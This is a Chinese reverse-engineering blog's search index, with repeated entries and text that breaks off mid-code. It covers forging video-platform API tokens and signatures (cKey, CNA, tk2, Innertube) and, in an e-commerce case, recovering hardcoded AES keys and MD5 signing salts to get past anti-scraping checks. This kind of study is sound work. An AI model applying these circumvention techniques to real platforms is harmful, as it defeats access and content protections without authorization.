_get_video_api_response(self, video_url, video_id, series_id, ...): \"\"\"请求视频 API\"\"\" guid = ''.join(random.choices(string.digits + string.ascii_lowercase, k=16)) ckey = self._get_ckey(video_id, video_url, guid) query = { 'vid': video_id, 'cid': series_id, 'cKey': ckey, 'encryptVer': '8.1', 'sphls': '2', # HLS 格式 'dtype': '3', 'defn': video_quality, 'sphttps': '1', # 启用 HTTPS 'hevclv': '28', # 启用 HEVC 'drm': '40', # DRM 标识 'guid': guid, 'flowid': ''.join(random.choices(string.ascii_lowercase + string.digits, k=32)), } return self._download_json(self._API_URL, video_id, query=query) ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:4:3","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#ckey-生成算法"},{"categories":null,"collections":null,"content":"某酷 CNA 设备标识 某酷使用 CNA (Client Network Address) 作为设备标识。 class VideoIE: @staticmethod def get_ysuid(): \"\"\"生成会话 ID\"\"\" return f'{int(time.time())}{\"\".join(random.choices(string.ascii_letters, k=3))}' def _real_extract(self, url): video_id = self._match_id(url) # 设置必要的 Cookie self._set_cookie('example.com', '__ysuid', self.get_ysuid()) self._set_cookie('example.com', 'xreferrer', 'http://www.example.com') # 从 mmstat.com 获取 CNA (通过 ETag 头) _, urlh = self._download_webpage_handle( 'https://log.mmstat.com/eg.js', video_id, 'Retrieving cna info') cna = urlh.headers['etag'][1:-1] # 去除双引号 # 构造 API 请求参数 params = { 'vid': video_id, 'ccode': '0564', 'client_ip': '192.168.1.1', 'utid': cna, # CNA 作为 utid 'client_ts': time.time() / 1000, } data = self._download_json( 'https://ups.example.com/ups/get.json', video_id, query=params, headers={'Referer': url})['data'] # 提取 m3u8 格式 formats = [{ 'url': stream['m3u8_url'], 'format_id': self.get_format_name(stream.get('stream_type')), 'ext': 'mp4', 'protocol': 'm3u8_native', 'width': stream.get('width'), 'height': stream.get('height'), } for stream in data['stream']] return {'id': video_id, 'formats': formats, ...} ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:4:4","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#某酷-cna-设备标识"},{"categories":null,"collections":null,"content":"某果 TV tk2 令牌 某果 TV 使用 Base64 编码的设备信息 作为令牌。 class MGTVIE: def _real_extract(self, url): video_id = self._match_id(url) # 生成 tk2 令牌: Base64(did=uuid|pno=1030|ver=0.3.0301|clit=timestamp) tk2 = base64.urlsafe_b64encode( f'did={uuid.uuid4()}|pno=1030|ver=0.3.0301|clit={int(time.time())}'.encode() )[::-1] # 反转字节序 # 第一步: 获取 pm2 令牌 api_data = self._download_json( 'https://pcweb.api.example.com/player/video', video_id, query={'tk2': tk2, 'video_id': video_id, 'type': 'pch5'})['data'] # 第二步: 使用 pm2 获取流地址 stream_data = self._download_json( 'https://pcweb.api.example.com/player/getSource', video_id, query={ 'tk2': tk2, 'pm2': api_data['atc']['pm2'], # 第一步获取的令牌 'video_id': video_id, 'type': 'pch5', 'src': 'intelmgtv', })['data'] # 提取 HLS 流 stream_domain = traverse_obj(stream_data, ('stream_domain', ...), get_all=False) formats = [] for stream in traverse_obj(stream_data, ('stream', lambda _, v: v['url'])): format_info = self._download_json( urljoin(stream_domain, stream['url']), video_id) formats.append({ 'url': format_info['info'], 'ext': 'mp4', 'protocol': 'm3u8_native', }) return {'id': video_id, 'formats': formats} ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:4:5","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#某果-tv-tk2-令牌"},{"categories":null,"collections":null,"content":"某管 Innertube 客户端体系 某管使用 Innertube API 与多种客户端类型进行通信。 客户端配置 INNERTUBE_CLIENTS = { 'web': { 'INNERTUBE_CONTEXT': { 'client': { 'clientName': 'WEB', 'clientVersion': '2.20250312.04.00', }, }, 'INNERTUBE_CONTEXT_CLIENT_NAME': 1, 'PO_TOKEN_REQUIRED_CONTEXTS': ['gvs'], # 需要 PoToken 'SUPPORTS_COOKIES': True, }, 'android': { 'INNERTUBE_CONTEXT': { 'client': { 'clientName': 'ANDROID', 'clientVersion': '20.10.38', 'androidSdkVersion': 30, 'userAgent': 'com.google.android.youtube/20.10.38 (Linux; U; Android 11) gzip', 'osName': 'Android', 'osVersion': '11', }, }, 'INNERTUBE_CONTEXT_CLIENT_NAME': 3, 'REQUIRE_JS_PLAYER': False, }, 'ios': { 'INNERTUBE_CONTEXT': { 'client': { 'clientName': 'IOS', 'clientVersion': '20.10.4', 'deviceMake': 'Apple', 'deviceModel': 'iPhone16,2', 'userAgent': 'com.google.ios.youtube/20.10.4 (iPhone16,2; U; CPU iOS 18_3_2 like Mac OS X;)', }, }, 'INNERTUBE_CONTEXT_CLIENT_NAME': 5, }, 'tv': { 'INNERTUBE_CONTEXT': { 'client': { 'clientName': 'TVHTML5', 'clientVersion': '7.20250312.16.00', 'userAgent': 'Mozilla/5.0 (ChromiumStylePlatform) Cobalt/Version', }, }, 'INNERTUBE_CONTEXT_CLIENT_NAME': 7, }, } 签名解密机制 某管对视频 URL 使用 动态 JavaScript 签名 保护： from jsinterp import JSInterpreter class VideoTubeIE: _PLAYER_INFO_RE = ( r'/s/player/(?P\u003cid\u003e[a-zA-Z0-9_-]{8,})/(?:tv-)?player', r'/(?P\u003cid\u003e[a-zA-Z0-9_-]{8,})/player.*?/base\\.js$', ) def _decrypt_signature(self, s, video_id, player_url): \"\"\" 解密签名的核心流程: 1. 下载并缓存 player.js 2. 使用 JSInterpreter 解析混淆的 JS 3. 找到签名解密函数并执行 \"\"\" # 获取 player.js 代码 player_code = self._download_webpage(player_url, video_id) # 使用 JS 解释器解析并执行解密函数 jsi = JSInterpreter(player_code) # 在 player.js 中搜索解密函数入口 # 函数名是动态混淆的，需要通过特征匹配 func_name = self._search_regex( r'\\.get\\(\"n\"\\)\\)\u0026\u0026\\(b=([a-zA-Z0-9$]+)(?:\\[\\d+\\])?\\([a-zA-Z0-9]\\)', player_code, 'Initial JS player n function name') decrypted = jsi.call_function(func_name, s) return decrypted ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:4:6","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#某管-innertube-客户端体系"},{"categories":null,"collections":null,"content":"某管 Innertube 客户端体系 某管使用 Innertube API 与多种客户端类型进行通信。 客户端配置 INNERTUBE_CLIENTS = { 'web': { 'INNERTUBE_CONTEXT': { 'client': { 'clientName': 'WEB', 'clientVersion': '2.20250312.04.00', }, }, 'INNERTUBE_CONTEXT_CLIENT_NAME': 1, 'PO_TOKEN_REQUIRED_CONTEXTS': ['gvs'], # 需要 PoToken 'SUPPORTS_COOKIES': True, }, 'android': { 'INNERTUBE_CONTEXT': { 'client': { 'clientName': 'ANDROID', 'clientVersion': '20.10.38', 'androidSdkVersion': 30, 'userAgent': 'com.google.android.youtube/20.10.38 (Linux; U; Android 11) gzip', 'osName': 'Android', 'osVersion': '11', }, }, 'INNERTUBE_CONTEXT_CLIENT_NAME': 3, 'REQUIRE_JS_PLAYER': False, }, 'ios': { 'INNERTUBE_CONTEXT': { 'client': { 'clientName': 'IOS', 'clientVersion': '20.10.4', 'deviceMake': 'Apple', 'deviceModel': 'iPhone16,2', 'userAgent': 'com.google.ios.youtube/20.10.4 (iPhone16,2; U; CPU iOS 18_3_2 like Mac OS X;)', }, }, 'INNERTUBE_CONTEXT_CLIENT_NAME': 5, }, 'tv': { 'INNERTUBE_CONTEXT': { 'client': { 'clientName': 'TVHTML5', 'clientVersion': '7.20250312.16.00', 'userAgent': 'Mozilla/5.0 (ChromiumStylePlatform) Cobalt/Version', }, }, 'INNERTUBE_CONTEXT_CLIENT_NAME': 7, }, } 签名解密机制 某管对视频 URL 使用 动态 JavaScript 签名 保护： from jsinterp import JSInterpreter class VideoTubeIE: _PLAYER_INFO_RE = ( r'/s/player/(?P[a-zA-Z0-9_-]{8,})/(?:tv-)?player', r'/(?P[a-zA-Z0-9_-]{8,})/player.*?/base\\.js$', ) def _decrypt_signature(self, s, video_id, player_url): \"\"\" 解密签名的核心流程: 1. 下载并缓存 player.js 2. 使用 JSInterpreter 解析混淆的 JS 3. 找到签名解密函数并执行 \"\"\" # 获取 player.js 代码 player_code = self._download_webpage(player_url, video_id) # 使用 JS 解释器解析并执行解密函数 jsi = JSInterpreter(player_code) # 在 player.js 中搜索解密函数入口 # 函数名是动态混淆的，需要通过特征匹配 func_name = self._search_regex( r'\\.get\\(\"n\"\\)\\)\u0026\u0026\\(b=([a-zA-Z0-9$]+)(?:\\[\\d+\\])?\\([a-zA-Z0-9]\\)', player_code, 'Initial JS player n function name') decrypted = jsi.call_function(func_name, s) return decrypted ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:4:6","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#客户端配置"},{"categories":null,"collections":null,"content":"某管 Innertube 客户端体系 某管使用 Innertube API 与多种客户端类型进行通信。 客户端配置 INNERTUBE_CLIENTS = { 'web': { 'INNERTUBE_CONTEXT': { 'client': { 'clientName': 'WEB', 'clientVersion': '2.20250312.04.00', }, }, 'INNERTUBE_CONTEXT_CLIENT_NAME': 1, 'PO_TOKEN_REQUIRED_CONTEXTS': ['gvs'], # 需要 PoToken 'SUPPORTS_COOKIES': True, }, 'android': { 'INNERTUBE_CONTEXT': { 'client': { 'clientName': 'ANDROID', 'clientVersion': '20.10.38', 'androidSdkVersion': 30, 'userAgent': 'com.google.android.youtube/20.10.38 (Linux; U; Android 11) gzip', 'osName': 'Android', 'osVersion': '11', }, }, 'INNERTUBE_CONTEXT_CLIENT_NAME': 3, 'REQUIRE_JS_PLAYER': False, }, 'ios': { 'INNERTUBE_CONTEXT': { 'client': { 'clientName': 'IOS', 'clientVersion': '20.10.4', 'deviceMake': 'Apple', 'deviceModel': 'iPhone16,2', 'userAgent': 'com.google.ios.youtube/20.10.4 (iPhone16,2; U; CPU iOS 18_3_2 like Mac OS X;)', }, }, 'INNERTUBE_CONTEXT_CLIENT_NAME': 5, }, 'tv': { 'INNERTUBE_CONTEXT': { 'client': { 'clientName': 'TVHTML5', 'clientVersion': '7.20250312.16.00', 'userAgent': 'Mozilla/5.0 (ChromiumStylePlatform) Cobalt/Version', }, }, 'INNERTUBE_CONTEXT_CLIENT_NAME': 7, }, } 签名解密机制 某管对视频 URL 使用 动态 JavaScript 签名 保护： from jsinterp import JSInterpreter class VideoTubeIE: _PLAYER_INFO_RE = ( r'/s/player/(?P[a-zA-Z0-9_-]{8,})/(?:tv-)?player', r'/(?P[a-zA-Z0-9_-]{8,})/player.*?/base\\.js$', ) def _decrypt_signature(self, s, video_id, player_url): \"\"\" 解密签名的核心流程: 1. 下载并缓存 player.js 2. 使用 JSInterpreter 解析混淆的 JS 3. 找到签名解密函数并执行 \"\"\" # 获取 player.js 代码 player_code = self._download_webpage(player_url, video_id) # 使用 JS 解释器解析并执行解密函数 jsi = JSInterpreter(player_code) # 在 player.js 中搜索解密函数入口 # 函数名是动态混淆的，需要通过特征匹配 func_name = self._search_regex( r'\\.get\\(\"n\"\\)\\)\u0026\u0026\\(b=([a-zA-Z0-9$]+)(?:\\[\\d+\\])?\\([a-zA-Z0-9]\\)', player_code, 'Initial JS player n function name') decrypted = jsi.call_function(func_name, s) return decrypted ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:4:6","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#签名解密机制"},{"categories":null,"collections":null,"content":"视频平台逆向要点对比 平台 签名机制 加密方式 设备标识 难度 B 某站 WBI (md5 + 置换表) 无 SESSDATA Cookie 中 某奇艺 SDK (多轮 md5) RSA 登录 IP + 时间戳 高 某讯视频 cKey (AES-CBC) DRM 可选 GUID 高 某酷 CNA (ETag) 无 utid/ysuid 低 某果 TV tk2 (Base64) 无 UUID 低 某管 Innertube + JS 签名 DRM 可选 PoToken 高 某果音乐 JWT + mediaUserToken Widevine (HLS) 设备证书 高 某破天 TOTP + ClientToken Widevine/PlayPlay sp_dc + JA3 高 ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:5:0","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#视频平台逆向要点对比"},{"categories":null,"collections":null,"content":"通用逆向策略 ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:6:0","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#通用逆向策略"},{"categories":null,"collections":null,"content":"1. 网络层分析 # 抓包分析要点 1. 识别视频清单接口 (*.m3u8, *.mpd, getSource, playurl 等) 2. 分析请求头中的签名参数 (sign, ckey, token 等) 3. 追踪 Cookie 和 Session 机制 4. 识别设备指纹参数 (guid, utid, deviceId 等) ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:6:1","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#1-网络层分析"},{"categories":null,"collections":null,"content":"2. 前端 JS 逆向 # 常见混淆手段及应对 1. 变量名混淆 → 根据上下文推断功能 2. 字符串加密 → 找到解密函数，动态执行 3. 控制流平坦化 → 使用 AST 还原 4. 代码压缩 → 使用 beautifier 格式化 ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:6:2","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#2-前端-js-逆向"},{"categories":null,"collections":null,"content":"3. 设备模拟 # 模拟客户端请求 headers = { 'User-Agent': 'com.example.app/1.0.0 (Linux; Android 11)', 'X-Client-Info': json.dumps({ 'platform': 'android', 'version': '1.0.0', 'device_id': generate_device_id(), }) } ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:6:3","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#3-设备模拟"},{"categories":null,"collections":null,"content":"总结 视频 App 的 DRM 逆向是一场与硬件和复杂密码学协议的艰苦斗争。与音乐 App 不同，其核心目标通常不是开发一个\"下载器\"，而是理解其安全体系的强度和弱点。 对于普通分析，重点是拦截和理解信令（清单文件、许可证请求/响应）。 对于高级研究，核心是攻击 L3 的 CDM 实现，但这需要极高的逆向工程和密码学知识。 这个领域的攻防水平代表了整个行业安全对抗的顶峰。 通过分析 yt-dlp 项目的实现，我们可以看到： 签名算法多样性: 从简单的 MD5 到复杂的多轮变换，各平台都有独特的保护机制 客户端模拟的重要性: 正确的 User-Agent 和设备标识是成功请求的关键 动态代码执行: 许多平台使用动态生成的混淆代码，需要 JS 解释器来处理 Token 时效性: 大多数签名包含时间戳，需要实时计算而非缓存 ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:7:0","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#总结"},{"categories":null,"collections":null,"content":"电商网站逆向案例 ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:0:0","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#电商网站逆向案例"},{"categories":null,"collections":null,"content":"概述 电商网站通常具有复杂的反爬虫机制，包括 API 签名、加密价格、滑块验证码等。本文通过实际案例介绍电商网站的逆向思路。 ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:1:0","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#概述"},{"categories":null,"collections":null,"content":"案例一：商品价格加密 ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:2:0","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#案例一商品价格加密"},{"categories":null,"collections":null,"content":"背景 某电商网站的商品列表页，价格字段返回的是加密字符串： 浏览器能正常显示价格，说明前端有解密逻辑。 ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:2:1","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#背景"},{"categories":null,"collections":null,"content":"逆向步骤 1. 定位解密函数 方法一：搜索关键词 // 在 Sources 面板搜索 \"price_enc\"; \"decrypt\"; \"AES\"; 方法二：DOM 断点 右键价格元素 -\u003e Inspect 右键 DOM 节点 -\u003e Break on -\u003e subtree modifications 刷新页面，断点会停在修改价格的代码处 2. 分析加密算法 断点停下后，观察 Call Stack： updatePrice() |- decryptPrice(encryptedPrice) |- CryptoJS.AES.decrypt(enc, key, {iv: iv}) 发现使用了 AES-CBC 加密，Key 和 IV 都在 JS 中硬编码： function decryptPrice(enc) { var key = CryptoJS.enc.Utf8.parse(\"1234567890abcdef\"); var iv = CryptoJS.enc.Utf8.parse(\"abcdefghijklmnop\"); var decrypted = CryptoJS.AES.decrypt(enc, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7, }); return decrypted.toString(CryptoJS.enc.Utf8); } 3. Python 实现 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import base64 def decrypt_price(price_enc): key = b'1234567890abcdef' iv = b'abcdefghijklmnop' cipher = AES.new(key, AES.MODE_CBC, iv) encrypted_data = base64.b64decode(price_enc) decrypted = unpad(cipher.decrypt(encrypted_data), AES.block_size) return decrypted.decode('utf-8') # 测试 price_enc = \"U2FsdGVkX19Qx7...\" print(decrypt_price(price_enc)) # \"￥5999\" ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:2:2","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#逆向步骤"},{"categories":null,"collections":null,"content":"逆向步骤 1. 定位解密函数 方法一：搜索关键词 // 在 Sources 面板搜索 \"price_enc\"; \"decrypt\"; \"AES\"; 方法二：DOM 断点 右键价格元素 -\u003e Inspect 右键 DOM 节点 -\u003e Break on -\u003e subtree modifications 刷新页面，断点会停在修改价格的代码处 2. 分析加密算法 断点停下后，观察 Call Stack： updatePrice() |- decryptPrice(encryptedPrice) |- CryptoJS.AES.decrypt(enc, key, {iv: iv}) 发现使用了 AES-CBC 加密，Key 和 IV 都在 JS 中硬编码： function decryptPrice(enc) { var key = CryptoJS.enc.Utf8.parse(\"1234567890abcdef\"); var iv = CryptoJS.enc.Utf8.parse(\"abcdefghijklmnop\"); var decrypted = CryptoJS.AES.decrypt(enc, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7, }); return decrypted.toString(CryptoJS.enc.Utf8); } 3. Python 实现 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import base64 def decrypt_price(price_enc): key = b'1234567890abcdef' iv = b'abcdefghijklmnop' cipher = AES.new(key, AES.MODE_CBC, iv) encrypted_data = base64.b64decode(price_enc) decrypted = unpad(cipher.decrypt(encrypted_data), AES.block_size) return decrypted.decode('utf-8') # 测试 price_enc = \"U2FsdGVkX19Qx7...\" print(decrypt_price(price_enc)) # \"￥5999\" ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:2:2","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#1-定位解密函数"},{"categories":null,"collections":null,"content":"逆向步骤 1. 定位解密函数 方法一：搜索关键词 // 在 Sources 面板搜索 \"price_enc\"; \"decrypt\"; \"AES\"; 方法二：DOM 断点 右键价格元素 -\u003e Inspect 右键 DOM 节点 -\u003e Break on -\u003e subtree modifications 刷新页面，断点会停在修改价格的代码处 2. 分析加密算法 断点停下后，观察 Call Stack： updatePrice() |- decryptPrice(encryptedPrice) |- CryptoJS.AES.decrypt(enc, key, {iv: iv}) 发现使用了 AES-CBC 加密，Key 和 IV 都在 JS 中硬编码： function decryptPrice(enc) { var key = CryptoJS.enc.Utf8.parse(\"1234567890abcdef\"); var iv = CryptoJS.enc.Utf8.parse(\"abcdefghijklmnop\"); var decrypted = CryptoJS.AES.decrypt(enc, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7, }); return decrypted.toString(CryptoJS.enc.Utf8); } 3. Python 实现 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import base64 def decrypt_price(price_enc): key = b'1234567890abcdef' iv = b'abcdefghijklmnop' cipher = AES.new(key, AES.MODE_CBC, iv) encrypted_data = base64.b64decode(price_enc) decrypted = unpad(cipher.decrypt(encrypted_data), AES.block_size) return decrypted.decode('utf-8') # 测试 price_enc = \"U2FsdGVkX19Qx7...\" print(decrypt_price(price_enc)) # \"￥5999\" ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:2:2","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#2-分析加密算法"},{"categories":null,"collections":null,"content":"逆向步骤 1. 定位解密函数 方法一：搜索关键词 // 在 Sources 面板搜索 \"price_enc\"; \"decrypt\"; \"AES\"; 方法二：DOM 断点 右键价格元素 -\u003e Inspect 右键 DOM 节点 -\u003e Break on -\u003e subtree modifications 刷新页面，断点会停在修改价格的代码处 2. 分析加密算法 断点停下后，观察 Call Stack： updatePrice() |- decryptPrice(encryptedPrice) |- CryptoJS.AES.decrypt(enc, key, {iv: iv}) 发现使用了 AES-CBC 加密，Key 和 IV 都在 JS 中硬编码： function decryptPrice(enc) { var key = CryptoJS.enc.Utf8.parse(\"1234567890abcdef\"); var iv = CryptoJS.enc.Utf8.parse(\"abcdefghijklmnop\"); var decrypted = CryptoJS.AES.decrypt(enc, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7, }); return decrypted.toString(CryptoJS.enc.Utf8); } 3. Python 实现 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import base64 def decrypt_price(price_enc): key = b'1234567890abcdef' iv = b'abcdefghijklmnop' cipher = AES.new(key, AES.MODE_CBC, iv) encrypted_data = base64.b64decode(price_enc) decrypted = unpad(cipher.decrypt(encrypted_data), AES.block_size) return decrypted.decode('utf-8') # 测试 price_enc = \"U2FsdGVkX19Qx7...\" print(decrypt_price(price_enc)) # \"￥5999\" ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:2:2","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#3-python-实现"},{"categories":null,"collections":null,"content":"案例二：API 签名逆向 ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:3:0","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#案例二api-签名逆向"},{"categories":null,"collections":null,"content":"背景 商品搜索接口需要签名参数： GET /api/search?q=iPhone\u0026page=1\u0026sign=abc123\u0026timestamp=1234567890 不带 sign 或签名错误都会返回 403。 ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:3:1","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#背景-1"},{"categories":null,"collections":null,"content":"逆向步骤 1. 定位签名生成 XHR 断点: Sources -\u003e XHR/fetch breakpoints 输入 /api/search 刷新页面，断点会在请求发送前停下 2. 分析签名逻辑 在 Call Stack 中追踪，发现签名生成函数： function generateSign(params) { // 1. 参数排序 var keys = Object.keys(params).sort(); // 2. 拼接字符串 var str = keys.map((k) =\u003e k + \"=\" + params[k]).join(\"\u0026\"); // 3. 加盐 str += \"\u0026key=my_secret_key_2023\"; // 4. MD5 return md5(str); } 验证: generateSign({ q: \"iPhone\", page: 1, timestamp: 1234567890 }); // \"e10adc3949ba59abbe56e057f20f883e\" 3. Python 实现 import hashlib import time def generate_sign(params): # 参数排序 sorted_params = sorted(params.items()) # 拼接 param_str = '\u0026'.join([f\"{k}={v}\" for k, v in sorted_params]) # 加盐 sign_str = param_str + '\u0026key=my_secret_key_2023' # MD5 return hashlib.md5(sign_str.encode()).hexdigest() # 使用 params = { 'q': 'iPhone', 'page': 1, 'timestamp': int(time.time()) } params['sign'] = generate_sign(params) # 发送请求 import requests response = requests.get('https://example.com/api/search', params=params) print(response.json()) ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:3:2","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#逆向步骤-1"},{"categories":null,"collections":null,"content":"逆向步骤 1. 定位签名生成 XHR 断点: Sources -\u003e XHR/fetch breakpoints 输入 /api/search 刷新页面，断点会在请求发送前停下 2. 分析签名逻辑 在 Call Stack 中追踪，发现签名生成函数： function generateSign(params) { // 1. 参数排序 var keys = Object.keys(params).sort(); // 2. 拼接字符串 var str = keys.map((k) =\u003e k + \"=\" + params[k]).join(\"\u0026\"); // 3. 加盐 str += \"\u0026key=my_secret_key_2023\"; // 4. MD5 return md5(str); } 验证: generateSign({ q: \"iPhone\", page: 1, timestamp: 1234567890 }); // \"e10adc3949ba59abbe56e057f20f883e\" 3. Python 实现 import hashlib import time def generate_sign(params): # 参数排序 sorted_params = sorted(params.items()) # 拼接 param_str = '\u0026'.join([f\"{k}={v}\" for k, v in sorted_params]) # 加盐 sign_str = param_str + '\u0026key=my_secret_key_2023' # MD5 return hashlib.md5(sign_str.encode()).hexdigest() # 使用 params = { 'q': 'iPhone', 'page': 1, 'timestamp': int(time.time()) } params['sign'] = generate_sign(params) # 发送请求 import requests response = requests.get('https://example.com/api/search', params=params) print(response.json()) ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:3:2","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#1-定位签名生成"},{"categories":null,"collections":null,"content":"逆向步骤 1. 定位签名生成 XHR 断点: Sources -\u003e XHR/fetch breakpoints 输入 /api/search 刷新页面，断点会在请求发送前停下 2. 分析签名逻辑 在 Call Stack 中追踪，发现签名生成函数： function generateSign(params) { // 1. 参数排序 var keys = Object.keys(params).sort(); // 2. 拼接字符串 var str = keys.map((k) =\u003e k + \"=\" + params[k]).join(\"\u0026\"); // 3. 加盐 str += \"\u0026key=my_secret_key_2023\"; // 4. MD5 return md5(str); } 验证: generateSign({ q: \"iPhone\", page: 1, timestamp: 1234567890 }); // \"e10adc3949ba59abbe56e057f20f883e\" 3. Python 实现 import hashlib import time def generate_sign(params): # 参数排序 sorted_params = sorted(params.items()) # 拼接 param_str = '\u0026'.join([f\"{k}={v}\" for k, v in sorted_params]) # 加盐 sign_str = param_str + '\u0026key=my_secret_key_2023' # MD5 return hashlib.md5(sign_str.encode()).hexdigest() # 使用 params = { 'q': 'iPhone', 'page': 1, 'timestamp': int(time.time()) } params['sign'] = generate_sign(params) # 发送请求 import requests response = requests.get('https://example.com/api/search', params=params) print(response.json()) ","date":"2025-09-06","objectID":"/reverse_engineering/web/05-case-studies/case_ecommerce/:3:2","tags":["Web","签名验证","代理池","案例分析","电商","加密分析"],"title":"电商网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_ecommerce/#2-分析签名逻辑"},{"categories":null,"collections":null,"content":"逆向步骤 1. 定位签名生成 XHR 断点: Sources -\u003e XHR/fetch breakpoints 输入 /api/search 刷新页面，断点会在请求发送前停下 2. 分析签名逻辑 在 Call Stack 中追踪，发现签名生成函数： function generateSign(params) { // 1. 参数排序 var keys = Object.keys(params).sort(); // 2. 拼接字符串 var str = keys.map((k) =\u003e k + \"=\" + params[k]).join(\"\u0026\"); // 3. 加盐 str += \"\u0026key=my_secret_key_2023\"; // 4. MD5 return md5(str); } 验证: generateSign({ q: \"iPhone\", page: 1, timestamp: 1234567890 }); // \"e10adc3949ba59abbe56e057f20f883e\" 3. Python 实现 import hashlib import time def generate_sign(params): # 参数排序 sorted_params = sorted(params.items()) # 拼接 param_str = 